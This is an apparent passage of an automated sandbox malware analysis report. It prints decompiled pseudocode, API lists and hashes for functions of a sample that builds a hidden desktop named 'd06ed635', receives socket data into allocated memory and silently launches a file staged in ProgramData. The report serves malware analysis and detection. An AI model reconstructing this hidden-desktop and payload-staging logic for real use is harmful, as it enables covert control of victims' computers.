				struct HDESK__* _t4;
				void* _t9;
				void* _t13;
				void _t14;
				void* _t19;
				void* _t22;
				WCHAR* _t24;

				_t19 = __edi;
				_t13 = __ebx;
				_t3 =  *0xfd6388; // 0x0
				if(_t3 != 0) {
					L3:
					_t4 = SetThreadDesktop(_t3);
					if(_t4 != 0) {
						 *0xfd76d0 = LoadKeyboardLayoutA( *0xfd6b70, 0);
						0xfd6428->dwOSVersionInfoSize = 0x114;
						GetVersionExW(0xfd6428);
						SystemParametersInfoA(5, 0, 0xfd6540, 0);
						_t14 =  *0xfd6540; // 0x0
						_t15 =  ==  ? 1 : _t14;
						 *0xfd6540 =  ==  ? 1 : _t14;
						if( *0xfd63f4 == 0 && ( *0xfd6c89 >= 0x2000 ||  *0xfd6c92 <= 6) && E00FC1A90(0) == 0) {
							E00FC1E90();
						}
						_t9 = CreateThread(0, 0, E00FC5CE0, _a4, 0,  &_v4);
						if(_t9 != 0) {
							_push(_t19);
							_t22 = 0;
							 *0xfd63e8 = _t9;
							while( *0xfd63ec == 0) {
								Sleep(0x64);
								_t22 = _t22 + 0x64;
								if(_t22 < 0x2710) {
									continue;
								} else {
								}
								L15:
								goto L16;
							}
							WaitForMultipleObjects(2, 0xfd63e0, 0, 0xffffffff);
							goto L15;
						}
						L16:
						_t4 = E00FC6E70(_t13);
					}
				} else {
					_t24 =  !=  ?  *0xfd6748 : L"d06ed635";
					_t3 = OpenDesktopW(_t24, _t3, 1, 0x10000000);
					 *0xfd6388 = _t3;
					if(_t3 != 0) {
						goto L3;
					} else {
						_t4 = CreateDesktopW(_t24, _t3, _t3, 1, 0x10000000, _t3);
						 *0xfd6388 = _t4;
						if(_t4 != 0) {
							goto L3;
						}
					}
				}
				 *0xfd63e4 = 0;
				return _t4;
			}

0x00fc67f0
0x00fc67f0
0x00fc67f1
0x00fc67f9
0x00fc6843
0x00fc6844
0x00fc684c
0x00fc6865
0x00fc686a
0x00fc6874
0x00fc6885
0x00fc688b
0x00fc6898
0x00fc68a2
0x00fc68a8
0x00fc68ca
0x00fc68ca
0x00fc68e3
0x00fc68eb
0x00fc68ed
0x00fc68f4
0x00fc68f6
0x00fc6900
0x00fc690b
0x00fc690d
0x00fc6916
0x00000000
0x00000000
0x00fc6918
0x00fc692b
0x00000000
0x00fc692b
0x00fc6925
0x00000000
0x00fc6925
0x00fc692c
0x00fc692e
0x00fc692e
0x00fc67fb
0x00fc680b
0x00fc6816
0x00fc681c
0x00fc6823
0x00000000
0x00fc6825
0x00fc6830
0x00fc6836
0x00fc683d
0x00000000
0x00000000
0x00fc683d
0x00fc6823
0x00fc6933
0x00fc693f

APIs

OpenDesktopW.USER32(d06ed635,00000000,00000001,10000000), ref: 00FC6816
CreateDesktopW.USER32 ref: 00FC6830
SetThreadDesktop.USER32(00000000), ref: 00FC6844
LoadKeyboardLayoutA.USER32(00000000), ref: 00FC685A
GetVersionExW.KERNEL32(00FD6428), ref: 00FC6874
SystemParametersInfoA.USER32(00000005,00000000,00FD6540,00000000), ref: 00FC6885
CreateThread.KERNEL32 ref: 00FC68E3
Sleep.KERNEL32(00000064), ref: 00FC690B
WaitForMultipleObjects.KERNEL32(00000002,00FD63E0,00000000,000000FF), ref: 00FC6925

Strings

d06ed635, xrefs: 00FC6801, 00FC6815, 00FC682F

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Desktop$CreateThread$InfoKeyboardLayoutLoadMultipleObjectsOpenParametersSleepSystemVersionWait
String ID: d06ed635
API String ID: 3515819871-745246866
Opcode ID: edc15913a902c0e8b27322fa0b68a9404520f796af59bc1468de1207e63d7ac2
Instruction ID: 896480d269a65535bd46fb208fe61e2a18880b05d69accd6f697e85759c6ed44
Opcode Fuzzy Hash: edc15913a902c0e8b27322fa0b68a9404520f796af59bc1468de1207e63d7ac2
Instruction Fuzzy Hash: 1731703164530AAFEB109F30EE0BFA977AAEB04B11F14012FF605D62E1D7719844BA25

Uniqueness

Uniqueness Score: -1.00%

Function 00FC8A70 Relevance: 16.7, APIs: 11, Instructions: 153networkmemoryCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 00FC8AB9
recv.WS2_32(?,?,00000004,00000000), ref: 00FC8ACD
select.WS2_32 ref: 00FC8B18
recv.WS2_32(?,?,00000004,00000000), ref: 00FC8B2C
VirtualAlloc.KERNEL32(00000004,00000000,00003000,00000004,?,?,00000004,00000000), ref: 00FC8B5B
LocalAlloc.KERNEL32(00000000,00000000,?,?,00000004,00000000), ref: 00FC8B66
WSAGetLastError.WS2_32(00000000,?), ref: 00FC8B9A
WSAGetLastError.WS2_32(?,?,?,?,?,?), ref: 00FC8C3E

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: AllocErrorLastrecvselect$LocalVirtual
String ID:
API String ID: 2880006783-0
Opcode ID: d8f6ec2edbe5f7a023166c401049a65f8b49fc5aaadab0820768c789c8a3a70c
Instruction ID: 35fd50a7b32298c6363c3d93ed3136ea8a21991124442fe119ed64fb5583864f
Opcode Fuzzy Hash: d8f6ec2edbe5f7a023166c401049a65f8b49fc5aaadab0820768c789c8a3a70c
Instruction Fuzzy Hash: FC51C7756053459FD3209F25ED49FABBBE9FB89355F40046EF908C7280EB3A9805DB21

Uniqueness

Uniqueness Score: -1.00%

Function 00FC5017 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00FC5017(void* __eax, void* __edi, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a136, intOrPtr _a2012) {
				struct HINSTANCE__* _t16;
				int _t17;
				struct HINSTANCE__* _t25;
				signed int _t29;
				intOrPtr* _t30;
				void* _t31;
				int _t33;
				void* _t34;
				int _t36;
				void* _t39;

				_t31 = __edi;
				_t34 = 0;
				_a24 = 0;
				_a28 = 0;
				_t16 = LoadLibraryA(??);
				if(_t16 <= 0x20) {
					L8:
					_t17 = LoadLibraryA( *0xfd6a78);
					_t25 = _t17;
					if(_t25 > 0x20) {
						if(_t31 == 0xfffffffe) {
							_t17 = GetProcAddress(_t25,  *0xfd6a90);
							if(_t17 != 0) {
								_t17 =  *_t17();
								_t34 =  !=  ? 1 : _t34;
							}
						}
					}
					if(_a2012 == 0) {
						_push(_t34);
						_push(_a28);
						_t17 = E00FC1200( &_a136, "OK %08lx %08lx %d", _a24);
						_t36 = _t17;
						_t39 = _t39 + 0x14;
						if(_t36 == 0) {
							_t17 = lstrlenA( &_a136);
							_t36 = _t17;
						}
						if( *0xfd672c != 0 && _t36 != 0) {
							_t17 = E00FC11D0(_t36);
							_t33 = _t17;
							if(_t33 != 0) {
								_t17 = E00FC1000(_t33,  &_a136, _t36);
								_t39 = _t39 + 0xc;
								EnterCriticalSection(0xfd6714);
								 *0xfd65fc = 5;
								 *0xfd6601 = _t36;
								 *0xfd65fd = _t33;
								LeaveCriticalSection(0xfd6714);
							}
						}
					}
					return _t17;
				}
				_t30 = GetProcAddress(_t16,  *0xfd6a74);
				if(_t30 == 0) {
					goto L8;
				}
				_t29 = __edi + 4;
				if(_t29 > 3) {
					goto L8;
				}
				switch( *((intOrPtr*)(_t29 * 4 +  &M00FC5550))) {
					case 0:
						goto L7;
					case 1:
						goto L7;
					case 2:
						L7:
						_push(0);
						_a20 =  *_t30();
						goto L8;
				}
			}

0x00fc5017
0x00fc5022
0x00fc5024
0x00fc502c
0x00fc5034
0x00fc503f
0x00fc5076
0x00fc507c
0x00fc507e
0x00fc5083
0x00fc509c
0x00fc50a5
0x00fc50a9
0x00fc50ab
0x00fc50b4
0x00fc50b4
0x00fc50a9
0x00fc509c
0x00fc50bf
0x00fc50c5
0x00fc50c6
0x00fc50db
0x00fc50e0
0x00fc50e2
0x00fc50e7
0x00fc50f1
0x00fc50f7
0x00fc50f7
0x00fc5100
0x00fc5110
0x00fc5115
0x00fc5119
0x00fc5129
0x00fc512e
0x00fc5136
0x00fc513c
0x00fc5143
0x00fc5149
0x00fc5432
0x00fc5432
0x00fc5119
0x00fc5100
0x00fc5442
0x00fc5442
0x00fc504a
0x00fc504e
0x00000000
0x00000000
0x00fc5050
0x00fc5056
0x00000000
0x00000000
0x00fc5058
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00fc506f
0x00fc506f
0x00fc5072
0x00000000
0x00000000

APIs

LoadLibraryA.KERNEL32 ref: 00FC5034
GetProcAddress.KERNEL32(00000000), ref: 00FC5048
LoadLibraryA.KERNEL32 ref: 00FC507C
GetProcAddress.KERNEL32(00000000), ref: 00FC508C
GetProcAddress.KERNEL32(00000000), ref: 00FC50A5
lstrlenA.KERNEL32(?), ref: 00FC50F1
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC5136
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC5432

Strings

OK %08lx %08lx %d, xrefs: 00FC50D5

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: AddressProc$CriticalLibraryLoadSection$EnterLeavelstrlen
String ID: OK %08lx %08lx %d
API String ID: 3361844086-1451610572
Opcode ID: cf3c8f7f133ce2f6638f8ec216087230434216aa0b898cc587eb1fb8bc068742
Instruction ID: 2b0c4a82df548b7145cd244f3b7b19d0de1991ebebdff1b48fb9ebfb0c7a2b08
Opcode Fuzzy Hash: cf3c8f7f133ce2f6638f8ec216087230434216aa0b898cc587eb1fb8bc068742
Instruction Fuzzy Hash: 5D314B3194170B8BD720AB70DD42F1AB796EB84B51F44443EE846D3151DB39D8C4BBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FC3520 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 67
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC3520() {
				short _v1024;
				short _v2064;
				struct _STARTUPINFOW _v2132;
				struct _PROCESS_INFORMATION _v2148;
				int _t32;
				void* _t33;
				void* _t34;
				int _t41;

				lstrcpyW( &_v2064,  *0xfd692c);
				lstrcatW( &_v2064, "C:\ProgramData\435f8fae.dat");
				lstrcatW( &_v2064,  *0xfd6934);
				_v1024 = 0;
				lstrcpyW( &_v1024,  &_v2064);
				E00FC10D0( &_v2132, 0, 0x44);
				_v2132.cb = 0x44;
				_v2132.dwFlags = 1;
				_v2132.wShowWindow = 0;
				_t32 = CreateProcessW(0,  &_v1024, 0, 0, 0, 0, 0, 0,  &_v2132,  &_v2148);
				_t41 = _t32;
				if(_t41 != 0) {
					_t33 = _v2148.hThread;
					if(_t33 != 0) {
						CloseHandle(_t33);
					}
					_t34 = _v2148.hProcess;
					if(_t34 != 0) {
						CloseHandle(_t34);
					}
					return _t41;
				}
				return _t32;
			}

0x00fc3539
0x00fc354b
0x00fc3558
0x00fc355c
0x00fc3571
0x00fc357c
0x00fc3584
0x00fc358e
0x00fc3596
0x00fc35bb
0x00fc35c1
0x00fc35c5
0x00fc35c7
0x00fc35d3
0x00fc35d6
0x00fc35d6
0x00fc35d8
0x00fc35de
0x00fc35e1
0x00fc35e1
0x00000000
0x00fc35e3
0x00fc35ed

APIs

lstrcpyW.KERNEL32 ref: 00FC3539
lstrcatW.KERNEL32(?,C:\ProgramData\435f8fae.dat), ref: 00FC354B
lstrcatW.KERNEL32(?), ref: 00FC3558
lstrcpyW.KERNEL32 ref: 00FC3571
CreateProcessW.KERNEL32 ref: 00FC35BB
CloseHandle.KERNEL32(?), ref: 00FC35D6
CloseHandle.KERNEL32(?), ref: 00FC35E1

Strings

D, xrefs: 00FC3584
C:\ProgramData\435f8fae.dat, xrefs: 00FC3545

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CloseHandlelstrcatlstrcpy$CreateProcess
String ID: C:\ProgramData\435f8fae.dat$D
API String ID: 108946049-2833318034
Opcode ID: 157c1e166116202695e213f49c755f36e87a0b6e7bb27d3bde92575cf276e1cc
Instruction ID: 7eaf4a69574f0784adf48c2d5e9685a89be5b95dedad68e6d068bf1969394dae
Opcode Fuzzy Hash: 157c1e166116202695e213f49c755f36e87a0b6e7bb27d3bde92575cf276e1cc
Instruction Fuzzy Hash: BA119071A0430AABD710DBA5DD45F9BB7EDBF84750F08482AF688C3250EA35D508DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FC7070 Relevance: 15.1, APIs: 10, Instructions: 60
sleepsynchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC7070(void* __ebx, long _a4) {
				void _v8;
				void* _t9;
				void* _t12;
				void* _t15;

				_t12 = __ebx;
				_t15 = _a4;
				E00FC1000( &_v8, _t15, 6);
				if(_t15 != 0) {
					LocalFree(_t15);
				}
				E00FC6E70(_t12);
				if( *0xfd672c != 0) {
					EnterCriticalSection(0xfd6714);
					 *0xfd65fc = 0;
					 *0xfd6601 = 0;
					 *0xfd65fd = 0;
					 *0xfd672c = 0;
					LeaveCriticalSection(0xfd6714);
					DeleteCriticalSection(0xfd6714);
					if( *0xfd672c != 0) {
						EnterCriticalSection(0xfd6714);
						 *0xfd6708 = 0;
						 *0xfd670d = 0;
						 *0xfd6709 = 0;
						 *0xfd672c = 0;
						LeaveCriticalSection(0xfd6714);
						DeleteCriticalSection(0xfd6714);
					}
				}
				Sleep(0x7d0);
				_t9 = CreateThread(0, 0, E00FC6B50,  &_v8, 0,  &_a4);
				if(_t9 == 0) {
					return _t9;
				} else {
					 *0xfd63e0 = _t9;
					return WaitForSingleObject(_t9, 0xffffffff);
				}
			}

0x00fc7070
0x00fc7077
0x00fc707f
0x00fc7089
0x00fc708c
0x00fc708c
0x00fc7097
0x00fc70a3
0x00fc70b4
0x00fc70bb
0x00fc70c2
0x00fc70cc
0x00fc70d6
0x00fc70e0
0x00fc70eb
0x00fc70f8
0x00fc70ff
0x00fc7106
0x00fc710d
0x00fc7117
0x00fc7121
0x00fc712b
0x00fc7136
0x00fc7136
0x00fc70f8
0x00fc7141
0x00fc715c
0x00fc7165
0x00fc7178
0x00fc7167
0x00fc716a
0x00000000
0x00fc716f

APIs

LocalFree.KERNEL32(?), ref: 00FC708C
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC70B4
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC70E0
DeleteCriticalSection.KERNEL32(00FD6714), ref: 00FC70EB
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC70FF
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC712B
DeleteCriticalSection.KERNEL32(00FD6714), ref: 00FC7136
Sleep.KERNEL32(000007D0), ref: 00FC7141
CreateThread.KERNEL32 ref: 00FC715C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00FC716F

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CriticalSection$DeleteEnterLeave$CreateFreeLocalObjectSingleSleepThreadWait
String ID:
API String ID: 168919969-0
Opcode ID: da6b56da9770d93916e405ee27d5908338f33af93785ce1c6d28830bb4cc0fee
Instruction ID: 2f0bb41d84639ac2b529a4d048523659ed7ef34e247a07358399ce4ae1f11f70
Opcode Fuzzy Hash: da6b56da9770d93916e405ee27d5908338f33af93785ce1c6d28830bb4cc0fee
Instruction Fuzzy Hash: 3E216D7158530D9BD700AF70ED0AF467BA6EB04759F08402AF105D62E9CBB98408FFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FCA610 Relevance: 13.6, APIs: 9, Instructions: 99
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FCA610(struct HWND__* __ecx) {
				struct HWND__* _v4;
				struct HWND__* _v8;
				struct HWND__* _t5;
				struct HWND__* _t6;
				struct HMENU__* _t7;
				struct HWND__* _t8;
				int _t9;
				WCHAR* _t13;
				struct HMENU__* _t17;
				struct HWND__* _t21;
				struct HWND__* _t22;
				int _t23;
				struct HWND__* _t25;
				int _t27;
				void* _t31;

				_t5 =  *0xfd76c8; // 0x0
				_t21 = __ecx;
				_v4 = __ecx;
				if(_t5 != 0) {
					_t31 = _t5 -  *0xfd63a0; // 0x0
					if(_t31 != 0) {
						PostMessageW(_t5, 0x201, 0, 0xffffffff);
						PostMessageW( *0xfd76c8, 0x202, 0, 0xffffffff);
					} else {
						_t25 =  *0xfd6420; // 0x0
						if(_t25 != 0) {
							L6:
							PostMessageW(_t25, 0x10, 0, 0);
						} else {
							_t13 = FindWindowW( *0xfd67e8, _t25);
							_t25 = _t13;
							 *0xfd6420 = _t25;
							if(_t25 != 0) {
								goto L6;
							} else {
								_t25 = FindWindowW( *0xfd67ec, _t13);
								if(FindWindowExW(_t25, 0,  *0xfd67f0, 0) == 0) {
									 *0xfd6420 = 0;
								} else {
									 *0xfd6420 = _t25;
									if(_t25 != 0) {
										goto L6;
									}
								}
							}
						}
					}
				}
				_t6 =  *0xfd7698; // 0x0
				if(_t6 == 0) {
					 *0xfd76c8 = _t21;
					return _t6;
				} else {
					_t7 = GetMenu(_t6);
					_t17 = _t7;
					if(_t17 == 0) {
						 *0xfd76c8 = _t21;
						return _t7;
					} else {
						_t8 =  *0xfd7698; // 0x0
						_v8 = _t8;
						_t9 = GetMenuItemCount(_t17);
						_t27 = _t9;
						_t23 = 0;
						if(_t27 > 0) {
							_t22 = _v8;
							do {
								_t9 = HiliteMenuItem(_t22, _t17, _t23, 0x400);
								_t23 = _t23 + 1;
							} while (_t23 < _t27);
							_t21 = _v4;
						}
						 *0xfd76c8 = _t21;
						return _t9;
					}
				}
			}

0x00fca613
0x00fca61a
0x00fca61c
0x00fca622
0x00fca628
0x00fca62e
0x00fca6ac
0x00fca6bd
0x00fca630
0x00fca630
0x00fca638
0x00fca681
0x00fca688
0x00fca63a
0x00fca641
0x00fca647
0x00fca649
0x00fca651
0x00000000
0x00fca653
0x00fca668
0x00fca675
0x00fca690
0x00fca677
0x00fca677
0x00fca67f
0x00000000
0x00000000
0x00fca67f
0x00fca675
0x00fca651
0x00fca638
0x00fca62e
0x00fca6bf
0x00fca6c6
0x00fca725
0x00fca730
0x00fca6c8
0x00fca6ca
0x00fca6d0
0x00fca6d4
0x00fca719
0x00fca724
0x00fca6d6
0x00fca6d6
0x00fca6dd
0x00fca6e1
0x00fca6e7
0x00fca6e9
0x00fca6ed
0x00fca6ef
0x00fca6f3
0x00fca6fb
0x00fca701
0x00fca702
0x00fca706
0x00fca706
0x00fca70c
0x00fca717
0x00fca717
0x00fca6d4

APIs

FindWindowW.USER32(00000000,00000000), ref: 00FCA641
FindWindowW.USER32(00000000), ref: 00FCA65A
FindWindowExW.USER32(00000000,00000000,00000000), ref: 00FCA66D
PostMessageW.USER32(00000000,00000010,00000000,00000000), ref: 00FCA688
PostMessageW.USER32(00000000,00000201,00000000,000000FF), ref: 00FCA6AC
PostMessageW.USER32(00000202,00000000,000000FF), ref: 00FCA6BD
GetMenu.USER32(00000000), ref: 00FCA6CA
GetMenuItemCount.USER32 ref: 00FCA6E1
HiliteMenuItem.USER32(?,00000000,00000000,00000400), ref: 00FCA6FB

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: FindMenuMessagePostWindow$Item$CountHilite
String ID:
API String ID: 3754372523-0
Opcode ID: d1a5ec8d48885fc59960da8fff253f1bee67747e6c54adf87ce4a1c417ef7a90
Instruction ID: 999374331408470b025ee8ab5b42edbcc9cfa6fe8c8af1e46040977b5c6122a6
Opcode Fuzzy Hash: d1a5ec8d48885fc59960da8fff253f1bee67747e6c54adf87ce4a1c417ef7a90
Instruction Fuzzy Hash: E531EF3590632E9BC7209F24BD46F567FA9F744B24F14012AF504E7260E771DC05BBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00FC72A0 Relevance: 13.6, APIs: 9, Instructions: 81
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00FC72A0(WCHAR* __edx) {
				void* __ecx;
				signed int _t23;
				WCHAR* _t28;
				signed int _t30;
				signed char _t32;
				WCHAR* _t37;
				WCHAR* _t38;
				WCHAR* _t40;
				WCHAR* _t46;
				WCHAR* _t47;
				WCHAR* _t49;
				short _t50;
				void* _t52;
				void* _t53;
				void* _t54;

				_t47 = _t38;
				 *(_t53 + 0x18) = _t47;
				lstrcatW(_t47, __edx);
				lstrcatW(_t47,  *0xfd6824);
				_t23 = lstrlenW(_t47);
				lstrcatW( *(_t53 + 0x14),  *0xfd6838);
				lstrcatW( *(_t53 + 0x14),  *0xfd6858);
				_push(_t38);
				E00FC7180( *(_t53 + 0x18), 1,  *((intOrPtr*)(_t53 + 0x24)),  *((intOrPtr*)(_t53 + 0x24)),  *((intOrPtr*)(_t53 + 0x24)));
				_t54 = _t53 + 0x10;
				_t52 =  !=  ? 1 : 0;
				_t40 = 0;
				_t28 =  *(_t54 + 0x10);
				_t28[_t23] = 0;
				_t49 = _t28;
				lstrcatW(_t49,  *0xfd6828);
				_t30 = lstrlenW(_t49);
				lstrcatW(_t49,  *0xfd6858);
				_t37 =  *(_t54 + 0x10);
				_t50 = 0x30;
				_t46 =  &(_t37[_t30]);
				do {
					 *((short*)(_t46 - 2)) = _t50;
					_t32 = GetFileAttributesW(_t37);
					if(_t32 != 0xffffffff && (_t32 & 0x00000010) != 0) {
						_push(_t40);
						_t40 = _t37;
						E00FC7180(_t40, 1,  *((intOrPtr*)(_t54 + 0x24)),  *((intOrPtr*)(_t54 + 0x24)),  *((intOrPtr*)(_t54 + 0x24)));
						_t54 = _t54 + 0x10;
						_t52 =  !=  ? 1 : _t52;
					}
					_t50 = _t50 + 1;
				} while (_t50 <= 0x39);
				return _t52;
			}

0x00fc72ab
0x00fc72b1
0x00fc72b5
0x00fc72be
0x00fc72c7
0x00fc72d5
0x00fc72e1
0x00fc72e3
0x00fc72f7
0x00fc72fc
0x00fc7306
0x00fc7309
0x00fc730b
0x00fc7315
0x00fc7319
0x00fc731c
0x00fc731f
0x00fc732a
0x00fc732c
0x00fc7330
0x00fc7335
0x00fc7340
0x00fc7341
0x00fc7345
0x00fc734e
0x00fc7354
0x00fc735e
0x00fc7368
0x00fc736d
0x00fc7377
0x00fc7377
0x00fc737a
0x00fc737b
0x00fc7388

APIs

lstrcatW.KERNEL32(?,00FD7F5C), ref: 00FC72B5
lstrcatW.KERNEL32(?), ref: 00FC72BE
lstrlenW.KERNEL32(?), ref: 00FC72C7
lstrcatW.KERNEL32(?), ref: 00FC72D5
lstrcatW.KERNEL32(?), ref: 00FC72E1

Part of subcall function 00FC7180: lstrlenW.KERNEL32(?,747169A0,00000000,747582B0,?,?,?,?,?,?,?,?,00FC72FC,?,?,?), ref: 00FC7193
Part of subcall function 00FC7180: lstrcatW.KERNEL32(?,00000000), ref: 00FC71D0
Part of subcall function 00FC7180: GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00FC72FC,?,?,?), ref: 00FC71D7
Part of subcall function 00FC7180: lstrcpyA.KERNEL32(?,?), ref: 00FC722C
Part of subcall function 00FC7180: lstrcatA.KERNEL32(?,7476F9C0), ref: 00FC723C
Part of subcall function 00FC7180: lstrcatA.KERNEL32(?,00FCF400), ref: 00FC725A
Part of subcall function 00FC7180: lstrcatA.KERNEL32(00FD6608,00000000), ref: 00FC7266

lstrcatW.KERNEL32(?), ref: 00FC731C
lstrlenW.KERNEL32(?), ref: 00FC731F
lstrcatW.KERNEL32(?), ref: 00FC732A
GetFileAttributesW.KERNEL32(?), ref: 00FC7345

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: lstrcat$lstrlen$AttributesFile$lstrcpy
String ID:
API String ID: 584614546-0
Opcode ID: e051f136ed971ebb2fc2d7ddcebefdb2c095351e9517ced9207e99cf4a6dba27
Instruction ID: 5efb094cbbc16dca45bef0a24b5597000291745e558e25cabe6e9c648f87b159
Opcode Fuzzy Hash: e051f136ed971ebb2fc2d7ddcebefdb2c095351e9517ced9207e99cf4a6dba27
Instruction Fuzzy Hash: EF21C432105308AFD701AF25DD41E6EBBE6EF8D354F05056DF804D3120E722DD14AB96

Uniqueness

Uniqueness Score: -1.00%

Function 00FC5960 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 67
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00FC5960(intOrPtr* __ecx, intOrPtr __edx) {
				char _v0;
				signed char _v14;
				char _v16;
				signed char _v18;
				CHAR* _v20;
				CHAR* _v24;
				intOrPtr _t21;
				CHAR* _t24;
				CHAR* _t25;
				_Unknown_base(*)()* _t29;
				char _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t40;
				intOrPtr* _t42;
				intOrPtr _t43;

				_t42 = __ecx;
				_t43 = __edx;
				 *((short*)(__ecx + 0x10)) = 0x706;
				_t21 =  *0xfd63d8; // 0xd06ed635
				 *((intOrPtr*)(__ecx + 0x12)) = _t21;
				 *__ecx = 0xdc0a5625;
				 *((intOrPtr*)(__ecx + 4)) = 0xd8d22f26;
				 *((intOrPtr*)(__ecx + 8)) = 0x8f8baaee;
				lstrcpyA(__ecx + 0x1a, "9.31");
				_t24 =  *0xfd6a38; // 0xfd972f
				_t40 =  *0xfd6a28; // 0xfd96ef
				_v20 = _t24;
				_t25 =  *0xfd6a2c; // 0xfd96fb
				_v24 = _t25;
				_t36 = GetModuleHandleA( *0xfd6a24);
				if(_t36 == 0 || GetProcAddress(_t36, _t40) == 0 || GetProcAddress(_t36, _v24) == 0) {
					L7:
					ExitThread(0);
				}
				_t29 = GetProcAddress(_t36, _v20);
				if(_t29 == 0) {
					goto L7;
				}
				 *_t29( &_v16);
				 *((char*)(_t42 + 0x18)) = (_v20 & 0x000000ff) + 0x30;
				 *((char*)(_t42 + 0x17)) = _v18 & 0x000000ff;
